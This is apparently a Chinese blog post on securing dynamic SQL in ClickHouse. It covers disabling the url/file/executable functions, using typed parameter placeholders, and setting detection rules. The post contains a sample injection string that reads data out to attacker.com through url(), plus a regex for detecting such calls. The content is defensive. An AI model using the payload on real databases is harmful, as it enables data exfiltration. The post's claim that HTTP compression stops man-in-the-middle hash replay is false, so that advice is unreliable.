怎样在ClickHouse大数据分析场景下保障动态SQL安全

大强同学_7926

大强同学_7926

2026-10-02

907人浏览

原创

clickhouse动态sql特别危险,因其url()、file()、executable()等高危函数默认开启且无权限开关,system表全局可读,union all类型校验宽松,易被注入后直接执行外部请求或文件操作。

怎样在clickhouse大数据分析场景下保障动态sql安全

动态SQL在ClickHouse中为什么特别危险

ClickHouse的动态SQL风险不是“可能被注入”,而是“一旦拼接就大概率失控”。它不像MySQL那样受限于存储过程权限边界,url()、file()、executable() 这类表函数默认开启且无显式权限开关;system 表对所有已认证用户可读;UNION ALL 语法不强制要求类型对齐,导致绕过基础检测更简单。你前端传一个 WHERE event_type = '${userInput}',攻击者填入 'a' OR 1=1 UNION ALL SELECT * FROM url('http://attacker.com/leak', 'JSONEachRow'),ClickHouse会照常执行——它只校验语法,不校验意图。

必须禁用的高危功能组合

不是“建议关闭”,是生产环境上线前必须确认已禁用:

  • url()、file()、executable() 函数:在 /etc/clickhouse-server/users.xml 的 <profile></profile> 段落中显式设置 <allow_url_access>0</allow_url_access>、<allow_file_access>0</allow_file_access>、<allow_executable>0</allow_executable>
  • system 表全局读权限:为业务用户创建专用角色,仅 GRANT SELECT ON system.processes, system.metrics 等必要视图,严禁 GRANT SELECT ON system.*
  • 明文密码传输:禁用 plaintext_password 认证方式,强制使用 sha256_hash 或 double_sha1_hash,并在 config.xml 中启用 <enable_http_compression>1</enable_http_compression> 防止中间人截获哈希值重放

参数化查询在ClickHouse里怎么写才真正安全

ClickHouse原生不支持传统 JDBC 风格的 ? 占位符,但提供两种等效机制,必须选其一并严格执行:

人工智能数字技术机器人全息大脑大数据分析矢量素材(EPS)
人工智能数字技术机器人全息大脑大数据分析矢量素材(EPS)

这是一款人工智能数字技术机器人全息大脑大数据分析矢量素材,格式为 EPS,含 JPG 预览图。

下载
  • HTTP 接口用 data + query 分离:POST 请求体只传参数 JSON,SQL 模板中用 {param:UInt32} 占位,服务端用 clickhouse-client --param_param=123 执行。注意:占位符类型必须显式声明,{id} 不合法,{id:UInt64} 才有效
  • Native 协议用 clickhouse-client 的 --param:命令行中不能拼接字符串,必须拆成 clickhouse-client --param_date="2024-01-01" --param_user_id=1001 -q "SELECT * FROM events WHERE dt = {date:String} AND uid = {user_id:UInt64}"
  • 禁止任何场景下使用字符串格式化拼接 SQL:Python 的 f"SELECT ... WHERE id = {user_input}"、Node.js 的模板字符串、Java 的 String.format 全部等同于开门揖盗

SQL防御规则要盯住哪些硬指标

MRS 或自建 ClickHouse 集群的 SQL 防御规则,不能只拦 SELECT ... FROM system.,要卡死三个真实攻击杠杆点:

  • 单次查询扫描行数:设置阈值如 max_rows_to_read = 10000000,防止 CROSS JOIN 或全表扫引发拒绝服务
  • 外部调用行为:正则匹配 FROM\s+url\(|FROM\s+file\(|EXECUTABLE,命中即熔断,不给解释机会
  • 敏感元数据访问频次:对 system.tables、system.columns 的查询,1分钟内超3次自动标记为可疑会话并冻结该用户连接

这些规则生效后不会改变你的 SQL 写法,但会把“能跑通”和“能上线”彻底分开——很多看似合理的动态查询,在防御规则下第一次压测就会被拦截,这才是设计阶段该暴露的问题。

相关文章

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

大数据

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
大数据分析工具有哪四个
大数据分析工具有哪四个

大数据分析的四个工具分别是rapidminer、Hpcc、Hadoop和Pentaho bi。大数据分析用于从各种来源生成的原始数据中提取有价值的数据。这些数据帮助我们获得有意义的见解、隐藏的模式、未知的相关性、市场趋势等等,具体取决于行业。大数据分析的主要动机是提供有价值的见解,以便为未来做出更好的决策。php中文网为大家带来了大数据分析的相关教程、以及相关文章等内容,供大家免费下载使用。

2023.06.21

4436

5

Java 大数据处理基础(Hadoop 方向)
Java 大数据处理基础(Hadoop 方向)

本专题聚焦 Java 在大数据离线处理场景中的核心应用,系统讲解 Hadoop 生态的基本原理、HDFS 文件系统操作、MapReduce 编程模型、作业优化策略以及常见数据处理流程。通过实际示例(如日志分析、批处理任务),帮助学习者掌握使用 Java 构建高效大数据处理程序的完整方法。

2025.12.08

1229

12

大数据专业学习教程
大数据专业学习教程

本专题整合了大数据专业学习相关教程,阅读专题下面的文章了解更多详细内容。

2026.01.05

223

5

python处理大数据合集
python处理大数据合集

本专题整合了python处理大数据相关教程,阅读专题下面的文章了解更多详细内容。

2026.01.05

446

22

数据分析工具有哪些
数据分析工具有哪些

数据分析工具有Excel、SQL、Python、R、Tableau、Power BI、SAS、SPSS和MATLAB等。详细介绍:1、Excel,具有强大的计算和数据处理功能;2、SQL,可以进行数据查询、过滤、排序、聚合等操作;3、Python,拥有丰富的数据分析库;4、R,拥有丰富的统计分析库和图形库;5、Tableau,提供了直观易用的用户界面等等。

2023.10.12

3923

8

SQL中distinct的用法
SQL中distinct的用法

SQL中distinct的语法是“SELECT DISTINCT column1, column2,...,FROM table_name;”。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2023.10.27

831

4

SQL中months_between使用方法
SQL中months_between使用方法

在SQL中,MONTHS_BETWEEN 是一个常见的函数,用于计算两个日期之间的月份差。想了解更多SQL的相关内容,可以阅读本专题下面的文章。

2024.02.23

1029

5

SQL出现5120错误解决方法
SQL出现5120错误解决方法

SQL Server错误5120是由于没有足够的权限来访问或操作指定的数据库或文件引起的。想了解更多sql错误的相关内容,可以阅读本专题下面的文章。

2024.03.06

5781

10

sql procedure语法错误解决方法
sql procedure语法错误解决方法

sql procedure语法错误解决办法:1、仔细检查错误消息;2、检查语法规则;3、检查括号和引号;4、检查变量和参数;5、检查关键字和函数;6、逐步调试;7、参考文档和示例。想了解更多语法错误的相关内容,可以阅读本专题下面的文章。

2024.03.06

2703

4

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PostgreSQL vs MySQL
PostgreSQL vs MySQL

共1课时 | 178人学习

大数据(MySQL)视频教程完整版
大数据(MySQL)视频教程完整版

共200课时 | 27.4万人学习

PHP会话控制/文件上传/分页技术
PHP会话控制/文件上传/分页技术

共22课时 | 2.9万人学习